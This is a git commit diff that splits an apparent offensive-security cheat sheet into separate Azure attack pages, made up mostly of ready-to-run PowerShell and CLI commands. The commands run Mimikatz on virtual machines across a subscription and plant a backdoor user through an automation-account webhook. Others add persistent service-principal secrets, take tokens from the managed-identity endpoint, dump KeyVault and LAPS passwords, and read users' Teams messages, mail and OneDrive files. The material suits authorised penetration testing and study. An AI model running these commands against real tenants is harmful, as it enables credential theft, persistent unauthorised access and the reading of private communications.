Azure Services
parent
0b1fad6fde
commit
bd1fe1e16b
|
@ -1,6 +1,6 @@
|
||||||
# Azure Persistence
|
# Azure Persistence
|
||||||
|
|
||||||
## Add secrets to application
|
## Add Secrets to Application
|
||||||
|
|
||||||
* Add secrets with [lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1](https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1)
|
* Add secrets with [lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1](https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1)
|
||||||
```powershell
|
```powershell
|
||||||
|
@ -15,7 +15,24 @@
|
||||||
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
|
PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '<TenantID>'
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Add Service Principal
|
||||||
|
|
||||||
|
* Generate a new service principal password/secret
|
||||||
|
```ps1
|
||||||
|
Import-Module Microsoft.Graph.Applications
|
||||||
|
Connect-MgGraph
|
||||||
|
$servicePrincipalId = "<service-principal-id>"
|
||||||
|
|
||||||
|
$params = @{
|
||||||
|
passwordCredential = @{
|
||||||
|
displayName = "NewCreds"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [Maintaining Azure Persistence via automation accounts - Karl Fosaaen - September 12, 2019](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
|
* [Maintaining Azure Persistence via automation accounts - Karl Fosaaen - September 12, 2019](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/)
|
||||||
|
* [Microsoft Graph - servicePrincipal: addPassword](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0&tabs=powershell)
|
|
@ -0,0 +1,14 @@
|
||||||
|
# Azure Services - Application Endpoint
|
||||||
|
|
||||||
|
## Enumerate
|
||||||
|
|
||||||
|
* Enumerate possible endpoints for applications starting/ending with PREFIX
|
||||||
|
```powershell
|
||||||
|
PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
|
||||||
|
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -0,0 +1,17 @@
|
||||||
|
# Azure Services - Application Proxy
|
||||||
|
|
||||||
|
## Enumerate
|
||||||
|
|
||||||
|
* Enumerate applications that have Proxy
|
||||||
|
```powershell
|
||||||
|
PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
||||||
|
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
|
||||||
|
|
||||||
|
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
|
||||||
|
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -0,0 +1,20 @@
|
||||||
|
# Azure Services - Deployment Template
|
||||||
|
|
||||||
|
* List the deployments
|
||||||
|
```powershell
|
||||||
|
PS Az> Get-AzResourceGroup
|
||||||
|
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
|
||||||
|
```
|
||||||
|
* Export the deployment template
|
||||||
|
```ps1
|
||||||
|
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
|
||||||
|
|
||||||
|
# search for hardcoded password
|
||||||
|
cat <DEPLOYMENT NAME>.json
|
||||||
|
cat <PATH TO .json FILE> | Select-String password
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -70,7 +70,7 @@ You can access an organization's Azure DevOps Services instance via https://dev.
|
||||||
$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
|
$'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0'
|
||||||
```
|
```
|
||||||
|
|
||||||
* Enumerate porject permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
|
* Enumerate project permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`
|
||||||
|
|
||||||
|
|
||||||
## Privilege Escalation
|
## Privilege Escalation
|
||||||
|
|
|
@ -0,0 +1,37 @@
|
||||||
|
# Azure Services - KeyVault
|
||||||
|
|
||||||
|
## Access Token
|
||||||
|
|
||||||
|
* Keyvault access token
|
||||||
|
```powershell
|
||||||
|
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||||
|
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
||||||
|
```
|
||||||
|
|
||||||
|
* Connect with the access token
|
||||||
|
```ps1
|
||||||
|
PS> $token = 'eyJ0..'
|
||||||
|
PS> $keyvaulttoken = 'eyJ0..'
|
||||||
|
PS> $accid = '2e...bc'
|
||||||
|
PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken
|
||||||
|
```
|
||||||
|
|
||||||
|
## Query Secrets
|
||||||
|
|
||||||
|
* Query the vault and the secrets
|
||||||
|
```ps1
|
||||||
|
PS Az> Get-AzKeyVault
|
||||||
|
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName>
|
||||||
|
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainText
|
||||||
|
```
|
||||||
|
|
||||||
|
* Extract secrets from Automations, AppServices and KeyVaults
|
||||||
|
```powershell
|
||||||
|
Import-Module Microburst.psm1
|
||||||
|
PS Microburst> Get-AzurePasswords
|
||||||
|
PS Microburst> Get-AzurePasswords -Verbose | Out-GridView
|
||||||
|
```
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/)
|
|
@ -0,0 +1,36 @@
|
||||||
|
# Azure Services - Microsoft Intune
|
||||||
|
|
||||||
|
## LAPS
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
#requires -modules Microsoft.Graph.Authentication
|
||||||
|
#requires -modules Microsoft.Graph.Intune
|
||||||
|
#requires -modules LAPS
|
||||||
|
#requires -modules ImportExcel
|
||||||
|
|
||||||
|
$DaysBack = 30
|
||||||
|
Connect-MgGraph
|
||||||
|
Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" |
|
||||||
|
Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} |
|
||||||
|
Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} |
|
||||||
|
Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Intunes Administration
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
|
||||||
|
|
||||||
|
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
|
||||||
|
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
||||||
|
3. Go to **Scripts** and click on **Add** for Windows 10.
|
||||||
|
4. Add a **Powershell script**
|
||||||
|
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
|
||||||
|
|
||||||
|
:warning: It will take up to one hour before you script is executed !
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Microsoft Intune - Microsoft Intune support for Windows LAPS](https://learn.microsoft.com/en-us/mem/intune/protect/windows-laps-overview)
|
|
@ -0,0 +1,33 @@
|
||||||
|
# Azure Services - Office 365
|
||||||
|
|
||||||
|
## Microsoft Teams Messages
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
TokenTacticsV2> RefreshTo-MSTeamsToken -domain domain.local
|
||||||
|
AADInternals> Get-AADIntTeamsMessages -AccessToken $MSTeamsToken.access_token | Format-Table id,content,deletiontime,*type*,DisplayName
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Outlook Mails
|
||||||
|
|
||||||
|
* Read user mails
|
||||||
|
```ps1
|
||||||
|
Get-MgUserMessage -UserId <user-id> | ft
|
||||||
|
Get-MgUserMessageContent -OutFile mail.txt -UserId <user-id> -MessageId <message-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## OneDrive Files
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
$userId = "<user-id>"
|
||||||
|
Import-Module Microsoft.Graph.Files
|
||||||
|
Get-MgUserDefaultDrive -UserId $userId
|
||||||
|
Get-MgUserDrive -UserId $UserId -Debug
|
||||||
|
Get-MgDrive -top 1
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Pentesting Azure Mindmap - Alexis Danizan](https://github.com/synacktiv/Mindmaps)
|
|
@ -0,0 +1,44 @@
|
||||||
|
# Azure Services - Runbook
|
||||||
|
|
||||||
|
Runbook must be **SAVED** and **PUBLISHED** before running it.
|
||||||
|
|
||||||
|
## Create a Runbook
|
||||||
|
|
||||||
|
* Check user right for automation
|
||||||
|
```powershell
|
||||||
|
az extension add --upgrade -n automation
|
||||||
|
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
||||||
|
az ad signed-in-user list-owned-objects
|
||||||
|
```
|
||||||
|
* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
|
||||||
|
* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
|
||||||
|
* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
|
||||||
|
* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
|
||||||
|
* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||||
|
* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
||||||
|
|
||||||
|
|
||||||
|
## Persistence via Automation accounts
|
||||||
|
|
||||||
|
* Create a new Automation Account
|
||||||
|
* "Create Azure Run As account": Yes
|
||||||
|
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
||||||
|
* Sample runbook https://github.com/NetSPI/MicroBurst
|
||||||
|
* Publish the runbook
|
||||||
|
* Add a webhook to the runbook
|
||||||
|
* Add the AzureAD module to the Automation account
|
||||||
|
* Update the Azure Automation Modules
|
||||||
|
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
||||||
|
* Trigger the webhook with a post request to create the new user
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
||||||
|
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
||||||
|
$body = ConvertTo-Json -InputObject $AccountInfo
|
||||||
|
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -0,0 +1,39 @@
|
||||||
|
# Azure Services - Storage Blob
|
||||||
|
|
||||||
|
* Blobs - `*.blob.core.windows.net`
|
||||||
|
* File Services - `*.file.core.windows.net`
|
||||||
|
* Data Tables - `*.table.core.windows.net`
|
||||||
|
* Queues - `*.queue.core.windows.net`
|
||||||
|
|
||||||
|
## Enumerate blobs
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
|
||||||
|
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
|
||||||
|
Found Storage Account - redacted.blob.core.windows.net
|
||||||
|
```
|
||||||
|
|
||||||
|
## List and download blobs
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
PS Az> Get-AzResource
|
||||||
|
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
|
||||||
|
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
|
||||||
|
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
||||||
|
```
|
||||||
|
|
||||||
|
## SAS URL
|
||||||
|
|
||||||
|
* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
|
||||||
|
* Click on **Open Connect Dialog** in the left menu.
|
||||||
|
* Select **Blob container**.
|
||||||
|
* On the **Select Authentication Method** page
|
||||||
|
* Select **Shared access signature (SAS)** and click on Next
|
||||||
|
* Copy the URL in **Blob container SAS URL** field.
|
||||||
|
|
||||||
|
:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -0,0 +1,48 @@
|
||||||
|
# Azure Services - Virtual Machine
|
||||||
|
|
||||||
|
## RunCommand
|
||||||
|
|
||||||
|
> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as `NT Authority\System`
|
||||||
|
|
||||||
|
**Requirements**: `Microsoft.Compute/virtualMachines/runCommand/action`
|
||||||
|
|
||||||
|
* List available Virtual Machines
|
||||||
|
```powershell
|
||||||
|
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
|
||||||
|
ResourceGroupName Name
|
||||||
|
----------------- ----
|
||||||
|
TESTRESOURCES Remote-Test
|
||||||
|
```
|
||||||
|
|
||||||
|
* Get Public IP of VM by querying the network interface
|
||||||
|
```powershell
|
||||||
|
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
|
||||||
|
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
|
||||||
|
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
|
||||||
|
```
|
||||||
|
|
||||||
|
* Execute Powershell script on the VM, like `adduser`
|
||||||
|
```ps1
|
||||||
|
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
|
||||||
|
PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
* Finally you should be able to connect via WinRM
|
||||||
|
```ps1
|
||||||
|
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
|
||||||
|
$creds = New-Object System.Management.Automation.PSCredential('username', $Password)
|
||||||
|
$sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||||||
|
Enter-PSSession $sess
|
||||||
|
```
|
||||||
|
|
||||||
|
Against the whole subscription using `MicroBurst.ps1`
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
Import-module MicroBurst.psm1
|
||||||
|
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* [Running Powershell scripts on Azure VM - Karl Fosaaen - November 6, 2018](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/)
|
|
@ -0,0 +1,13 @@
|
||||||
|
# Azure Services - Web Apps
|
||||||
|
|
||||||
|
|
||||||
|
## SSH Connection
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
* []()
|
|
@ -1,288 +0,0 @@
|
||||||
# Azure Services
|
|
||||||
|
|
||||||
## Virtual Machine
|
|
||||||
|
|
||||||
### RunCommand
|
|
||||||
|
|
||||||
> Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as `NT Authority\System`
|
|
||||||
|
|
||||||
**Requirements**: `Microsoft.Compute/virtualMachines/runCommand/action`
|
|
||||||
|
|
||||||
* List available Virtual Machines
|
|
||||||
```powershell
|
|
||||||
PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
|
|
||||||
ResourceGroupName Name
|
|
||||||
----------------- ----
|
|
||||||
TESTRESOURCES Remote-Test
|
|
||||||
```
|
|
||||||
|
|
||||||
* Get Public IP of VM by querying the network interface
|
|
||||||
```powershell
|
|
||||||
PS AzureAD> Get-AzVM -Name <RESOURCE> -ResourceGroupName <RG-NAME> | select -ExpandProperty NetworkProfile
|
|
||||||
PS AzureAD> Get-AzNetworkInterface -Name <RESOURCE368>
|
|
||||||
PS AzureAD> Get-AzPublicIpAddress -Name <RESOURCEIP>
|
|
||||||
```
|
|
||||||
|
|
||||||
* Execute Powershell script on the VM, like `adduser`
|
|
||||||
```ps1
|
|
||||||
PS AzureAD> Invoke-AzVMRunCommand -VMName <RESOURCE> -ResourceGroupName <RG-NAME> -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose
|
|
||||||
PS Azure C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
|
|
||||||
```
|
|
||||||
|
|
||||||
* Finally you should be able to connect via WinRM
|
|
||||||
```ps1
|
|
||||||
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
|
|
||||||
$creds = New-Object System.Management.Automation.PSCredential('username', $Password)
|
|
||||||
$sess = New-PSSession -ComputerName <IP> -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
|
||||||
Enter-PSSession $sess
|
|
||||||
```
|
|
||||||
|
|
||||||
Against the whole subscription using `MicroBurst.ps1`
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
Import-module MicroBurst.psm1
|
|
||||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Runbook
|
|
||||||
|
|
||||||
Runbook must be **SAVED** and **PUBLISHED** before running it.
|
|
||||||
|
|
||||||
### Create a Runbook
|
|
||||||
|
|
||||||
* Check user right for automation
|
|
||||||
```powershell
|
|
||||||
az extension add --upgrade -n automation
|
|
||||||
az automation account list # if it doesn't return anything the user is not a part of an Automation group
|
|
||||||
az ad signed-in-user list-owned-objects
|
|
||||||
```
|
|
||||||
* Add the user to the "Automation" group: `Add-AzureADGroupMember -ObjectId <OBJID> -RefObjectId <REFOBJID> -Verbose`
|
|
||||||
* Get the role of a user on the Automation account: `Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>`. NOTE: Contributor or higher privileges accounts can create and execute Runbooks
|
|
||||||
* List hybrid workers: `Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>`
|
|
||||||
* Create a Powershell Runbook: `Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose`
|
|
||||||
* Publish the Runbook: `Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
|
||||||
* Start the Runbook: `Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose`
|
|
||||||
|
|
||||||
|
|
||||||
### Persistence via Automation accounts
|
|
||||||
|
|
||||||
* Create a new Automation Account
|
|
||||||
* "Create Azure Run As account": Yes
|
|
||||||
* Import a new runbook that creates an AzureAD user with Owner permissions for the subscription*
|
|
||||||
* Sample runbook https://github.com/NetSPI/MicroBurst
|
|
||||||
* Publish the runbook
|
|
||||||
* Add a webhook to the runbook
|
|
||||||
* Add the AzureAD module to the Automation account
|
|
||||||
* Update the Azure Automation Modules
|
|
||||||
* Assign "User Administrator" and "Subscription Owner" rights to the automation account
|
|
||||||
* Trigger the webhook with a post request to create the new user
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d"
|
|
||||||
$AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}})
|
|
||||||
$body = ConvertTo-Json -InputObject $AccountInfo
|
|
||||||
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Service Principal
|
|
||||||
|
|
||||||
* Generate a new service principal password/secret
|
|
||||||
```ps1
|
|
||||||
Import-Module Microsoft.Graph.Applications
|
|
||||||
Connect-MgGraph
|
|
||||||
$servicePrincipalId = "<service-principal-id>"
|
|
||||||
|
|
||||||
$params = @{
|
|
||||||
passwordCredential = @{
|
|
||||||
displayName = "NewCreds"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## KeyVault
|
|
||||||
|
|
||||||
* Keyvault access token
|
|
||||||
```powershell
|
|
||||||
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
||||||
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER
|
|
||||||
```
|
|
||||||
|
|
||||||
* Connect with the access token
|
|
||||||
```ps1
|
|
||||||
PS> $token = 'eyJ0..'
|
|
||||||
PS> $keyvaulttoken = 'eyJ0..'
|
|
||||||
PS> $accid = '2e...bc'
|
|
||||||
PS Az> Connect-AzAccount -AccessToken $token -AccountId $accid -KeyVaultAccessToken $keyvaulttoken
|
|
||||||
```
|
|
||||||
|
|
||||||
* Query the vault and the secrets
|
|
||||||
```ps1
|
|
||||||
PS Az> Get-AzKeyVault
|
|
||||||
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName>
|
|
||||||
PS Az> Get-AzKeyVaultSecret -VaultName <VaultName> -Name Reader -AsPlainText
|
|
||||||
```
|
|
||||||
|
|
||||||
* Extract secrets from Automations, AppServices and KeyVaults
|
|
||||||
```powershell
|
|
||||||
Import-Module Microburst.psm1
|
|
||||||
PS Microburst> Get-AzurePasswords
|
|
||||||
PS Microburst> Get-AzurePasswords -Verbose | Out-GridView
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Storage Blob
|
|
||||||
|
|
||||||
* Blobs - `*.blob.core.windows.net`
|
|
||||||
* File Services - `*.file.core.windows.net`
|
|
||||||
* Data Tables - `*.table.core.windows.net`
|
|
||||||
* Queues - `*.queue.core.windows.net`
|
|
||||||
|
|
||||||
### Enumerate blobs
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
|
|
||||||
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
|
|
||||||
Found Storage Account - redacted.blob.core.windows.net
|
|
||||||
```
|
|
||||||
|
|
||||||
### List and download blobs
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
PS Az> Get-AzResource
|
|
||||||
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
|
|
||||||
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
|
|
||||||
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
|
|
||||||
```
|
|
||||||
|
|
||||||
### SAS URL
|
|
||||||
|
|
||||||
* Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/)
|
|
||||||
* Click on **Open Connect Dialog** in the left menu.
|
|
||||||
* Select **Blob container**.
|
|
||||||
* On the **Select Authentication Method** page
|
|
||||||
* Select **Shared access signature (SAS)** and click on Next
|
|
||||||
* Copy the URL in **Blob container SAS URL** field.
|
|
||||||
|
|
||||||
:warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files.
|
|
||||||
|
|
||||||
|
|
||||||
## Web Apps
|
|
||||||
|
|
||||||
### SSH Connection
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
az webapp create-remote-connection --subscription <SUBSCRIPTION-ID> --resource-group <RG-NAME> -n <APP-SERVICE-NAME>
|
|
||||||
```
|
|
||||||
|
|
||||||
## Application Endpoint
|
|
||||||
|
|
||||||
* Enumerate possible endpoints for applications starting/ending with PREFIX
|
|
||||||
```powershell
|
|
||||||
PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls}
|
|
||||||
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Application Proxy
|
|
||||||
|
|
||||||
* Enumerate applications that have Proxy
|
|
||||||
```powershell
|
|
||||||
PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
|
|
||||||
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"}
|
|
||||||
|
|
||||||
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
|
|
||||||
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Deployment Template
|
|
||||||
|
|
||||||
* List the deployments
|
|
||||||
```powershell
|
|
||||||
PS Az> Get-AzResourceGroup
|
|
||||||
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
|
|
||||||
```
|
|
||||||
* Export the deployment template
|
|
||||||
```ps1
|
|
||||||
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
|
|
||||||
|
|
||||||
# search for hardcoded password
|
|
||||||
cat <DEPLOYMENT NAME>.json
|
|
||||||
cat <PATH TO .json FILE> | Select-String password
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## Microsoft Intune
|
|
||||||
|
|
||||||
* LAPS
|
|
||||||
```ps1
|
|
||||||
#requires -modules Microsoft.Graph.Authentication
|
|
||||||
#requires -modules Microsoft.Graph.Intune
|
|
||||||
#requires -modules LAPS
|
|
||||||
#requires -modules ImportExcel
|
|
||||||
|
|
||||||
$DaysBack = 30
|
|
||||||
Connect-MgGraph
|
|
||||||
Get-IntuneManagedDevice -Filter "Platform eq 'Windows'" |
|
|
||||||
Foreach-Object {Get-LapsAADPassword -DevicesIds $_.DisplayName} |
|
|
||||||
Where-Object {$_.PasswordExpirationTime -lt (Get-Date).AddDays(-$DaysBack)} |
|
|
||||||
Export-Excel -Path "c:\temp\lapsdata.xlsx" - ClearSheet -AutoSize -Show
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Intunes Administration
|
|
||||||
|
|
||||||
Requirements:
|
|
||||||
* **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`
|
|
||||||
|
|
||||||
1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT
|
|
||||||
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
|
|
